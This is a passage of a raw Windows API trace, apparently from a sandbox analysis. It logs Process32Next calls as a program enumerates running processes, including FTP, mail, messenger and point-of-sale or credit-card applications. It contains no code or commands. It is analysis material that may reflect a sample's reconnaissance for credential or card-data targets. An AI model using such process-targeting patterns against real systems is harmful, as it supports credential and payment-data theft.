th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.388] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0222.390] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0222.392] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0222.395] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.397] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0222.399] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0222.402] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0222.404] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0222.406] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0222.408] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0222.411] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0222.413] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.416] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0222.419] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0222.421] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0222.424] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0222.426] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0222.429] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0222.432] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0222.434] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0222.437] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0222.465] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0222.470] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0222.473] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0222.476] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0222.478] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0222.480] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0222.482] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0222.485] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0222.487] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0222.494] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0222.496] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0222.499] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0222.501] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0222.504] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0222.506] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0222.508] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0222.511] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0222.513] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0222.516] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0222.519] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0222.521] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0222.524] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0222.527] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0222.531] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0222.533] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0222.536] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0222.541] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0222.544] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0222.546] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0222.549] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0222.552] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0222.554] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0222.557] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0222.558] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0222.560] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0222.562] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0222.565] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0222.566] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0222.568] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0222.571] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0222.573] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0222.575] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0222.582] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0222.623] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0222.625] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0222.627] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0222.629] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0222.631] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0222.633] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0222.635] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0222.637] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0222.640] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0222.642] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0222.644] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0222.646] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0222.648] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0222.650] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0222.652] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.654] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0222.656] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0222.658] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0222.661] Process32Next (in: 